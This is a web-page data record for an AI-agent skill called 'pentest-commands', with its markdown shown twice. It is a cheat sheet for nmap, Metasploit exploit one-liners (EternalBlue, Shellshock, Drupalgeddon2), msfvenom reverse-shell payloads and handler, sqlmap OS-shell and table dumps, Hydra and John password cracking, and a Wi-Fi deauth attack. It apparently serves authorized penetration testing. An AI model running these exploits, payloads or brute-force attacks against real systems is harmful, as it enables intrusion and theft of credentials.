[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71SZ3JB22GM2VYGAN8Y8KP9":3,"skill-same:01M71SZ3JB22GM2VYGAN8Y8KP9":65},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":37,"linkOnly":38,"markdownContent":39,"markdownBody":40,"frontMatter":41,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":13,"repositoryHtmlUrl":48,"repositoryHomepageUrl":6,"ownerHtmlUrl":49,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":50,"install":51,"resources":64},"01M71SZ3JB22GM2VYGAN8Y8KP9","pentest-commands",null,"This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities ...","javiertarazon\u002Fide-agente-free-jt7-","javiertarazon","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153141207?v=4","01M71R52TB3S9HXKH6WSNT8A7V","01M71R52VG5KS2DKDDH4GDQ30A",0,"MIT","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fpentest-commands\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36],"commands","pentest","Pentest Commands","user","vulnerabilities","run","web","with","Metasploit","Nmap","unknown","when","use","john","hydra","scan","crack","community","passwords","2026-11-10 13:02:02",false,"---\nname: pentest-commands\ndescription: \"This skill should be used when the user asks to \\\"run pentest commands\\\", \\\"scan with nmap\\\", \\\"use metasploit exploits\\\", \\\"crack passwords with hydra or john\\\", \\\"scan web vulnerabilities ...\"\nmetadata:\n  author: zebbern\n  version: \"1.1\"\nrisk: unknown\nsource: community\n---\n\n# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":28,"source":35,"metadata":42,"description":7},{"author":43,"version":44},"zebbern","1.1","release\u002Fv4.2.11-panel-pro","a92ea02bcf7e2b3dbaf46d49696c29a3cb490d4f",".github\u002Fskills\u002Fpentest-commands","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-","https:\u002F\u002Fgithub.com\u002Fjaviertarazon","2026-07-12 07:10:45",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add javiertarazon\u002Fide-agente-free-jt7- --skill pentest-commands",{"tool":57,"command":58},"bunx","bunx skills add javiertarazon\u002Fide-agente-free-jt7- --skill pentest-commands",{"tool":60,"command":61},"pnpm","pnpm dlx skills add javiertarazon\u002Fide-agente-free-jt7- --skill pentest-commands","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fpentest-commands\u002FSKILL.md",true,[],[66,93,120,140,155,177],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":77,"publishedAt":37},"01M71TQ7Q6Z10VWF3C2H5X1KW9","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reacti...","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzustand-store-ts\u002FSKILL.md",[72],{"categoryNo":73,"categoryName":74,"taxonomyType":75,"taxonomyTypeDesc":76},"01JBSEEDCAT000000000000009","前端开发","SCENARIO","使用场景",[78,79,80,35,81,82,30,83,29,28,84,25,85,86,87,88,89,90,91,92],"zustand","store","zustand store ts","middleware","implementing","react state management","react","state","create","state management","typescript","action","management","separation","global",{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":102,"publishedAt":37},"01M71TQ5EAR40G6W0MV5ZDVEZT","zoom-automation","Automate Zoom meeting creation, management, recordings, webinars, and participant tracking via Rube MCP (Composio). Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzoom-automation\u002FSKILL.md",[99],{"categoryNo":100,"categoryName":101,"taxonomyType":75,"taxonomyTypeDesc":76},"01JBSEEDCAT000000000000023","Skill与智能体开发",[103,104,105,35,106,107,108,109,110,28,111,112,113,114,115,116,117,118,90,119],"zoom automation","zoom","automation","creation","for","search","schemas","MCP","first","via","meeting","search tools","tracking","webinars","composio","recordings","Tools",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":127,"publishedAt":37},"01M71TQ29B1EYBCEAP1ZBGXQ1A","zoho-crm-automation","Automate Zoho CRM tasks via Rube MCP (Composio): create\u002Fupdate records, search contacts, manage leads, and convert leads. Always search tools first for current 